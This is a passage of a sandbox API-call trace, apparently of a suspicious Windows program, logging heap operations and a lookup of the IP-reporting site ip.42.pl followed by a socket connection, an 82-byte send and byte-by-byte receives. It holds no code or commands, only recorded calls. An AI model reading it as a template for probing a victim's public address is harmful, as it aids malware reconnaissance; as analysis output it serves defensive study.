hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81f68 | out: hHeap=0x2ad0000) returned 1 [0078.519] GetCurrentThreadId () returned 0x9b0 [0078.519] GetCurrentThreadId () returned 0x9b0 [0078.519] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c81f08 [0078.519] GetCurrentThreadId () returned 0x9b0 [0078.519] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c81f38 [0078.519] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c81f38, Size=0x20) returned 0x3028238 [0078.519] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3028238, Size=0x40) returned 0x2a18ea8 [0078.519] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de4a8 [0078.519] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de638 [0078.519] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de5e8 [0078.519] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de638 | out: hHeap=0x2ad0000) returned 1 [0078.519] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c81ec0 [0078.519] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de4a8 | out: hHeap=0x2ad0000) returned 1 [0078.519] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de5e8 | out: hHeap=0x2ad0000) returned 1 [0078.519] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de5e8 [0078.519] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de5e8 | out: hHeap=0x2ad0000) returned 1 [0078.520] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81f08 | out: hHeap=0x2ad0000) returned 1 [0078.520] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81ec0 | out: hHeap=0x2ad0000) returned 1 [0078.520] GetCurrentThreadId () returned 0x9b0 [0078.520] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18ea8, Size=0x64) returned 0x2a19968 [0078.520] GetCurrentThreadId () returned 0x9b0 [0078.520] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a5a0 [0078.520] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c81f50 [0078.520] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c81ec0 [0078.520] GetCurrentThreadId () returned 0x9b0 [0078.520] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81ec0 | out: hHeap=0x2ad0000) returned 1 [0078.520] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x100) returned 0x3227388 [0078.520] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3227388 | out: hHeap=0x2ad0000) returned 1 [0078.520] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x30284e0 [0078.520] GetLastError () returned 0x0 [0078.520] GetLastError () returned 0x0 [0078.520] GetLastError () returned 0x0 [0078.521] GetLastError () returned 0x0 [0078.521] GetLastError () returned 0x0 [0078.521] GetLastError () returned 0x0 [0078.521] GetLastError () returned 0x0 [0078.521] GetLastError () returned 0x0 [0078.521] GetLastError () returned 0x0 [0078.521] GetLastError () returned 0x0 [0078.521] GetLastError () returned 0x0 [0078.521] GetLastError () returned 0x0 [0078.521] GetLastError () returned 0x0 [0078.521] GetLastError () returned 0x0 [0078.521] GetLastError () returned 0x0 [0078.521] GetLastError () returned 0x0 [0078.521] GetLastError () returned 0x0 [0078.521] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30284e0 | out: hHeap=0x2ad0000) returned 1 [0078.521] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a5a0 | out: hHeap=0x2ad0000) returned 1 [0078.522] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19968, Size=0xac) returned 0x3625010 [0078.522] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81f50 | out: hHeap=0x2ad0000) returned 1 [0078.522] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x30282d8 | out: hHeap=0x2ad0000) returned 1 [0078.522] GetCurrentThreadId () returned 0x9b0 [0078.522] GetCurrentThreadId () returned 0x9b0 [0078.522] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3625010, Size=0xdc) returned 0x3625010 [0078.522] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de668 [0078.522] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c81f08 [0078.522] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de668 | out: hHeap=0x2ad0000) returned 1 [0078.522] GetCurrentThreadId () returned 0x9b0 [0078.522] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de528 | out: hHeap=0x2ad0000) returned 1 [0078.522] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81ef0 | out: hHeap=0x2ad0000) returned 1 [0078.522] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a4a30 | out: hHeap=0x2ad0000) returned 1 [0078.522] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81d28 | out: hHeap=0x2ad0000) returned 1 [0078.522] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de5c8 | out: hHeap=0x2ad0000) returned 1 [0078.522] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81f20 | out: hHeap=0x2ad0000) returned 1 [0078.522] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81ea8 | out: hHeap=0x2ad0000) returned 1 [0078.523] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3625010 | out: hHeap=0x2ad0000) returned 1 [0078.523] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361f390 [0078.523] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361f390 | out: hHeap=0x2ad0000) returned 1 [0078.523] GetCurrentThreadId () returned 0x9b0 [0078.523] GetCurrentThreadId () returned 0x9b0 [0078.523] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a8e8 [0078.523] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a8e8 | out: hHeap=0x2ad0000) returned 1 [0078.523] GetCurrentThreadId () returned 0x9b0 [0078.523] GetCurrentThreadId () returned 0x9b0 [0078.523] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5c90 [0078.523] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c81e30 [0078.523] GetCurrentThreadId () returned 0x9b0 [0078.523] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c81e00 [0078.523] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c81e18 [0078.523] GetCurrentThreadId () returned 0x9b0 [0078.523] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de5c8 [0078.524] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c81db8 [0078.524] GetCurrentThreadId () returned 0x9b0 [0078.524] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81db8 | out: hHeap=0x2ad0000) returned 1 [0078.524] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81e00 | out: hHeap=0x2ad0000) returned 1 [0078.524] GetCurrentThreadId () returned 0x9b0 [0078.524] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c81ed8 [0078.524] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c81db8 [0078.524] GetCurrentThreadId () returned 0x9b0 [0078.524] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de508 [0078.524] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c81d58 [0078.524] GetCurrentThreadId () returned 0x9b0 [0078.524] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81d58 | out: hHeap=0x2ad0000) returned 1 [0078.524] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81ed8 | out: hHeap=0x2ad0000) returned 1 [0078.524] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c81e30, Size=0x20) returned 0x3028260 [0078.524] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c81e30 [0078.524] GetCurrentThreadId () returned 0x9b0 [0078.525] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81e30 | out: hHeap=0x2ad0000) returned 1 [0078.525] GetCurrentThreadId () returned 0x9b0 [0078.525] GetCurrentThreadId () returned 0x9b0 [0078.525] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c81d58 [0078.525] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c81d58, Size=0x20) returned 0x3028328 [0078.525] GetCurrentThreadId () returned 0x9b0 [0078.525] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3028328, Size=0x40) returned 0x2a18e60 [0078.525] GetCurrentThreadId () returned 0x9b0 [0078.525] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18e60, Size=0x64) returned 0x2a19b28 [0078.525] GetCurrentThreadId () returned 0x9b0 [0078.525] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19b28, Size=0x8c) returned 0x2ac0288 [0078.525] GetCurrentThreadId () returned 0x9b0 [0078.525] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de528 [0078.525] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c81f50 [0078.525] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de528 | out: hHeap=0x2ad0000) returned 1 [0078.525] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de508 | out: hHeap=0x2ad0000) returned 1 [0078.526] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81db8 | out: hHeap=0x2ad0000) returned 1 [0078.526] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a5c90 | out: hHeap=0x2ad0000) returned 1 [0078.526] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de5c8 | out: hHeap=0x2ad0000) returned 1 [0078.526] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81e18 | out: hHeap=0x2ad0000) returned 1 [0078.526] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3028260 | out: hHeap=0x2ad0000) returned 1 [0078.526] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ac0288 | out: hHeap=0x2ad0000) returned 1 [0078.526] GetCurrentThreadId () returned 0x9b0 [0078.526] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361c030 [0078.526] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361c030 | out: hHeap=0x2ad0000) returned 1 [0078.526] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0078.526] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0078.526] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4ec8 [0078.526] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4bb8 [0078.526] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c81e60 [0078.526] GetCurrentThreadId () returned 0x9b0 [0078.526] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361d9e0 [0078.526] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361d9e0 | out: hHeap=0x2ad0000) returned 1 [0078.527] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c81d10 [0078.527] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81d10 | out: hHeap=0x2ad0000) returned 1 [0078.527] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361f390 [0078.527] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361f390 | out: hHeap=0x2ad0000) returned 1 [0078.527] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c81e30 [0078.527] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81e30 | out: hHeap=0x2ad0000) returned 1 [0078.527] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x361d9e0 [0078.527] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x361d9e0 | out: hHeap=0x2ad0000) returned 1 [0078.527] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c81e30 [0078.527] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81e30 | out: hHeap=0x2ad0000) returned 1 [0078.527] GetCurrentThreadId () returned 0x9b0 [0078.527] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c81e60, Size=0x24) returned 0x2a1ff58 [0078.527] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ff58 | out: hHeap=0x2ad0000) returned 1 [0078.528] GetLastError () returned 0x0 [0078.528] GetCurrentThreadId () returned 0x9b0 [0078.528] GetSystemDirectoryA (in: lpBuffer=0x9babe4, uSize=0x104 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0078.528] LoadLibraryA (lpLibFileName="C:\\WINDOWS\\system32\\ws2_32") returned 0x746a0000 [0078.528] GetProcAddress (hModule=0x746a0000, lpProcName="getaddrinfo") returned 0x746a5810 [0078.528] GetProcAddress (hModule=0x746a0000, lpProcName="getaddrinfo") returned 0x746a5810 [0078.529] GetProcAddress (hModule=0x746a0000, lpProcName="getnameinfo") returned 0x746b3560 [0078.529] GetProcAddress (hModule=0x746a0000, lpProcName="freeaddrinfo") returned 0x746a4fa0 [0078.529] getaddrinfo (in: pNodeName="ip.42.pl", pServiceName="80", pHints=0x9bae44*(ai_flags=0, ai_family=0, ai_socktype=1, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x9bae28 | out: ppResult=0x9bae28*=0x1031100*(ai_flags=0, ai_family=2, ai_socktype=1, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x1067498*(sa_family=2, sin_port=0x50, sin_addr="79.98.145.42"), ai_next=0x0)) returned 0 [0079.353] WSASetLastError (iError=0) [0079.353] GetLastError () returned 0x0 [0079.353] GetCurrentThreadId () returned 0x9b0 [0079.353] GetLastError () returned 0x0 [0079.353] getnameinfo (in: pSockaddr=0x1067498*(sa_family=2, sin_port=0x50, sin_addr="79.98.145.42"), SockaddrLength=0x10, pNodeBuffer=0x9ba9e4, NodeBufferSize=0x401, pServiceBuffer=0x0, ServiceBufferSize=0x0, Flags=2 | out: pNodeBuffer="79.98.145.42", pServiceBuffer=0x0) returned 0 [0079.355] WSASetLastError (iError=0) [0079.355] htons (hostshort=0x5000) returned 0x50 [0079.355] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c81f20 [0079.355] FreeAddrInfoW (pAddrInfo=0x1031100*(ai_flags=0, ai_family=2, ai_socktype=1, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x1067498*(sa_family=2, sin_port=0x50, sin_addr="79.98.145.42"), ai_next=0x0)) [0079.355] socket (af=2, type=1, protocol=0) returned 0x360 [0079.355] GetLastError () returned 0x0 [0079.355] GetCurrentThreadId () returned 0x9b0 [0079.355] GetLastError () returned 0x0 [0079.356] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81d10 | out: hHeap=0x2ad0000) returned 1 [0079.356] GetLastError () returned 0x0 [0079.356] GetLastError () returned 0x0 [0079.356] GetLastError () returned 0x0 [0079.356] GetLastError () returned 0x0 [0079.356] htonl (hostlong=0x4f62912a) returned 0x2a91624f [0079.356] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81de8 | out: hHeap=0x2ad0000) returned 1 [0079.356] htons (hostshort=0x50) returned 0x5000 [0079.356] connect (s=0x360, name=0x9bac40*(sa_family=2, sin_port=0x50, sin_addr="79.98.145.42"), namelen=16) returned 0 [0079.392] GetLastError () returned 0x0 [0079.392] GetCurrentThreadId () returned 0x9b0 [0079.392] GetLastError () returned 0x0 [0079.392] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81f20 | out: hHeap=0x2ad0000) returned 1 [0079.392] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c81f68 [0079.392] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81f68 | out: hHeap=0x2ad0000) returned 1 [0079.392] GetLastError () returned 0x0 [0079.392] send (s=0x360, buf=0x3443fa4*, len=82, flags=0) returned 82 [0079.393] GetLastError () returned 0x0 [0079.393] GetCurrentThreadId () returned 0x9b0 [0079.393] GetLastError () returned 0x0 [0079.393] GetLastError () returned 0x0 [0079.393] GetCurrentThreadId () returned 0x9b0 [0079.394] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x80) returned 0x33e89e8 [0079.394] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4a30 [0079.394] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x80) returned 0x33e8b80 [0079.394] GetLastError () returned 0x0 [0079.394] recv (in: s=0x360, buf=0x3636604, len=1, flags=0 | out: buf=0x3636604*) returned 1 [0079.431] GetLastError () returned 0x0 [0079.432] GetCurrentThreadId () returned 0x9b0 [0079.432] GetLastError () returned 0x0 [0079.432] GetCurrentThreadId () returned 0x9b0 [0079.432] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c81f20 [0079.432] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81f20 | out: hHeap=0x2ad0000) returned 1 [0079.433] GetLastError () returned 0x0 [0079.433] recv (in: s=0x360, buf=0x363643c, len=1, flags=0 | out: buf=0x363643c*) returned 1 [0079.433] GetLastError () returned 0x0 [0079.433] GetCurrentThreadId () returned 0x9b0 [0079.433] GetLastError () returned 0x0 [0079.433] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81db8 | out: hHeap=0x2ad0000) returned 1 [0079.433] GetLastError () returned 0x0 [0079.434] recv (in: s=0x360, buf=0x3636604, len=1, flags=0 | out: buf=0x3636604*) returned 1 [0079.434] GetLastError () returned 0x0 [0079.434] GetCurrentThreadId () returned 0x9b0 [0079.434] GetLastError () returned 0x0 [0079.434] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81f68 | out: hHeap=0x2ad0000) returned 1 [0079.434] GetLastError () returned 0x0 [0079.434] recv (in: s=0x360, buf=0x363643c, len=1, flags=0 | out: buf=0x363643c*) returned 1 [0079.434] GetLastError () returned 0x0 [0079.434] GetCurrentThreadId () returned 0x9b0 [0079.434] GetLastError () returned 0x0 [0079.434] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81ec0 | out: hHeap=0x2ad0000) returned 1 [0079.434] GetLastError () returned 0x0 [0079.434] recv (in: s=0x360, buf=0x3636604, len=1, flags=0 | out: buf=0x3636604*) returned 1 [0079.434] GetLastError () returned 0x0 [0079.434] GetCurrentThreadId () returned 0x9b0 [0079.435] GetLastError () returned 0x0 [0079.435] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81e78 | out: hHeap=0x2ad0000) returned 1 [0079.435] GetLastError () returned 0x0 [0079.435] recv (in: s=0x360, buf=0x363643c, len=1, flags=0 | out: buf=0x363643c*) returned 1 [0079.435] GetLastError () returned 0x0 [0079.435] GetCurrentThreadId () returned 0x9b0 [0079.435] GetLastError () returned 0x0 [0079.435] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81ed8 | out: hHeap=0x2ad0000) returned 1 [0079.435] GetLastError () returned 0x0 [0079.435] recv (in: s=0x360, buf=0x3636604, len=1, flags=0 | out: buf=0x3636604*) returned 1 [0079.435] GetLastError () returned 0x0 [0079.435] GetCurrentThreadId () returned 0x9b0 [0079.435] GetLastError () returned 0x0 [0079.435] GetCurrentThreadId () returned 0x9b0 [0079.435] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c81d40 [0079.435] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81d40 | out: hHeap=0x2ad0000) returned 1 [0079.436] GetLastError () returned 0x0 [0079.436] recv (in: s=0x360, buf=0x363643c, len=1, flags=0 | out: buf=0x363643c*) returned 1 [0079.436] GetLastError () returned 0x0 [0079.436] GetCurrentThreadId () returned 0x9b0 [0079.436] GetLastError () returned 0x0 [0079.436] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81db8 | out: hHeap=0x2ad0000) returned 1 [0079.436] GetLastError () returned 0x0 [0079.436] recv (in: s=0x360, buf=0x3636604, len=1, flags=0 | out: buf=0x3636604*) returned 1 [0079.436] GetLastError () returned 0x0 [0079.436] GetCurrentThreadId () returned 0x9b0 [0079.436] GetLastError () returned 0x0 [0079.436] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81fb0 | out: hHeap=0x2ad0000) returned 1 [0079.436] GetLastError () returned 0x0 [0079.436] recv (in: s=0x360, buf=0x363643c, len=1, flags=0 | out: buf=0x363643c*) returned 1 [0079.436] GetLastError () returned 0x0 [0079.437] GetCurrentThreadId () returned 0x9b0 [0079.437] GetLastError () returned 0x0 [0079.437] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81ef0 | out: hHeap=0x2ad0000) returned 1 [0079.437] GetLastError () returned 0x0 [0079.437] recv (in: s=0x360, buf=0x3636604, len=1, flags=0 | out: buf=0x3636604*) returned 1 [0079.437] GetLastError () returned 0x0 [0079.437] GetCurrentThreadId () returned 0x9b0 [0079.437] GetLastError () returned 0x0 [0079.437] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81f68 | out: hHeap=0x2ad0000) returned 1 [0079.437] GetLastError () returned 0x0 [0079.437] recv (in: s=0x360, buf=0x363643c, len=1, flags=0 | out: buf=0x363643c*) returned 1 [0079.437] GetLastError () returned 0x0 [0079.437] GetCurrentThreadId () returned 0x9b0 [0079.437] GetLastError () returned 0x0 [0079.437] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81ea8 | out: hHeap=0x2ad0000) returned 1 [0079.437] GetLastError () returned 0x0 [0079.438] recv (in: s=0x360, buf=0x3636604, len=1, flags=0 | out: buf=0x3636604*) returned 1 [0079.438] GetLastError () returned 0x0 [0079.438] GetCurrentThreadId () returned 0x9b0 [0079.438] GetLastError () returned 0x0 [0079.438] GetCurrentThreadId () returned 0x9b0 [0079.438] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c81fc8 [0079.438] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81fc8 | out: hHeap=0x2ad0000) returned 1 [0079.438] GetLastError () returned 0x0 [0079.438] recv (in: s=0x360, buf=0x363643c, len=1, flags=0 | out: buf=0x363643c*) returned 1 [0079.438] GetLastError () returned 0x0 [0079.438] GetCurrentThreadId () returned 0x9b0 [0079.438] GetLastError () returned 0x0 [0079.438] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81e30 | out: hHeap=0x2ad0000) returned 1 [0079.439] GetLastError () returned 0x0 [0079.439] recv (in: s=0x360, buf=0x3636604, len=1, flags=0 | out: buf=0x3636604*) returned 1 [0079.439] GetLastError () returned 0x0 [0079.439] GetCurrentThreadId () returned 0x9b0 [0079.439] GetLastError () returned 0x0 [0079.439] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81e00 | out: hHeap=0x2ad0000) returned 1 [0079.439] GetLastError () returned 0x0 [0079.439] recv (in: s=0x360, buf=0x363643c, len=1, flags=0 | out: buf=0x363643c*) returned 1 [0079.439] GetLastError () returned 0x0 [0079.439] GetCurrentThreadId () returned 0x9b0 [0079.439] GetLastError () returned 0x0 [0079.439] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81e00 | out: hHeap=0x2ad0000) returned 1 [0079.439] GetLastError () returned 0x0 [0079.439] recv (in: s=0x360, buf=0x3636604, len=1, flags=0 | out: buf=0x3636604*) returned 1 [0079.439] GetLastError () returned 0x0 [0079.440] GetCurrentThreadId () returned 0x9b0 [0079.440] GetLastError () returned 0x0 [0079.440] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81e90 | out: hHeap=0x2ad0000) returned 1 [0079.440] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c81db8 [0079.440] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81db8 | out: hHeap=0x2ad0000) returned 1 [0079.440] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33e89e8 | out: hHeap=0x2ad0000) returned 1 [0079.440] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c81ed8 [0079.440] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81ed8 | out: hHeap=0x2ad0000) returned 1 [0079.440] GetLastError () returned 0x0 [0079.440] GetLastError () returned 0x0 [0079.440] GetCurrentThreadId () returned 0x9b0 [0079.440] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3ae0 [0079.440] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x80) returned 0x33e8388 [0079.440] GetLastError () returned 0x0 [0079.441] recv (in: s=0x360, buf=0x363643c, len=1, flags=0 | out: buf=0x363643c*) returned 1 [0079.441] GetLastError () returned 0x0 [0079.441] GetCurrentThreadId () returned 0x9b0 [0079.441] GetLastError () returned 0x0 [0079.441] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81d58 | out: hHeap=0x2ad0000) returned 1 [0079.441] GetLastError () returned 0x0 [0079.441] recv (in: s=0x360, buf=0x36365d4, len=1, flags=0 | out: buf=0x36365d4*) returned 1 [0079.441] GetLastError () returned 0x0 [0079.441] GetCurrentThreadId () returned 0x9b0 [0079.441] GetLastError () returned 0x0 [0079.441] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81d70 | out: hHeap=0x2ad0000) returned 1 [0079.441] GetCurrentThreadId () returned 0x9b0 [0079.441] GetLastError () returned 0x0 [0079.441] recv (in: s=0x360, buf=0x363643c, len=1, flags=0 | out: buf=0x363643c*) returned 1 [0079.441] GetLastError () returned 0x0 [0079.442] GetCurrentThreadId () returned 0x9b0 [0079.442] GetLastError () returned 0x0 [0079.442] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81e18 | out: hHeap=0x2ad0000) returned 1 [0079.442] GetLastError () returned 0x0 [0079.442] recv (in: s=0x360, buf=0x36365d4, len=1, flags=0 | out: buf=0x36365d4*) returned 1 [0079.442] GetLastError () returned 0x0 [0079.442] GetCurrentThreadId () returned 0x9b0 [0079.442] GetLastError () returned 0x0 [0079.442] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81d58 | out: hHeap=0x2ad0000) returned 1 [0079.442] GetLastError () returned 0x0 [0079.442] recv (in: s=0x360, buf=0x363643c, len=1, flags=0 | out: buf=0x363643c*) returned 1 [0079.442] GetLastError () returned 0x0 [0079.442] GetCurrentThreadId () returned 0x9b0 [0079.442] GetLastError () returned 0x0 [0079.442] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c81e18 | out: hHeap=0x2ad0000) returned 1 [0079.442] GetLastError () returned 0x0 